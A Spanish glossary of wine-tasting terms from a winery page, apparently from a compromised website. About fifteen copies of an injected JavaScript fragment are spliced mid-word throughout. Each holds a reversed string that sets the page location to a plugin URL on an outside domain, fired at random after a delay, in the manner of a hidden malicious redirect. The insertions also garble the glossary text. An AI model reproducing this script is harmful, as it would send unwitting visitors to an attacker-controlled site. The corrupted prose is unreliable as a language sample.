Evolucionado, enmohecido, largo, picado, tánico...¿qué significan toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}todas estas palabras en una cata de vinos? Para los que no son expertoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos en la materia, suele ser complicado entender muchos términos que utilizan los profesionales a la hora de explicar las características y cualidades de un vino.
Te proponemos un pequeño glosario con algunos de los términos más comunes a la hora de describir un vino.
Afrutado: vino que tiene aromas de frutas.
Amaderado: gustoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to de crianza en la barrica de madera.
Con aguja: existencia de burbujas (carbónico natural).
Añada: es el año de la vendimia de las uvas con las que se ha elaborado el vino y suele venir señalada en la etiqueta.
Añejo: vino sometidos a un período mínimo de envejecimientoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to de 24 meses.
Armonioso: con equilibrio entre sus componentes: azúcares, taninos, ácidos, alcohol, etc.
Astringente: con exceso de taninos y sabor amargoso.
Aterciopelado: es de paso suave por boca, sutil, agradable.
Bouquet: se utiliza para describir el conjuntoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to de sensaciones olfativas que ofrece un vino.
Con carácter: características de ciertoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos vinos que lo convierten en inconfundible.
Complejo: con numerosos aromas y sabores, pero armónicos y equilibrados.
Con cuerpo: vino con fuerza y valores gustativos.
Desequilibrado: sin armonía entre sus componentes, por exceso o defectoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to de uno de ellos.
Desvaído: vino con poca consistencia en el paladar.
Elegante: cualidad del vino distinguido, con linaje de variedad noble, armonioso en el color y el aroma, equilibrado en el gustoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, con bouquet y la justa crianza.
Enmohecido: vino con sabor a corcho defectuoso.
Estructura: constitución corpórea del vino, en la que deben conjugarse toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}todos sus componentes: acidez, alcohol, taninos, densidad etc.
Evolucionado: vino que ha tenido modificaciones con el paso del tiempo.
Floral: aroma agradable de ciertoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos vinos que recuerda al perfume de determinadas flores.
Incisivo: con exceso de acidez.
Largo: deja en boca y nariz una sensación prolongada.
Ligero: vino con poco alcohol y extractoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to.
Oxidación: alteración que sufren los vinos al recibir un aporte de oxígeno en exceso.
Picado: vino con exceso de ácido acético, avinagrado.
Redondo: vino bien criado, equilibrado y armónico.
Retrogustoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to: es el conjuntoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to de sensaciones que deja el vino después de saborearlo.
Sulfuroso: vino con dosis de dióxido de azufre elevadas.
Tánico: vino con demasiados taninos.
Monovarietal: Es el vino elaborado a partir de una sola variedad de uva.
Vigoroso: vino con cuerpo.
Bodega Comarcal Valle de Güímar.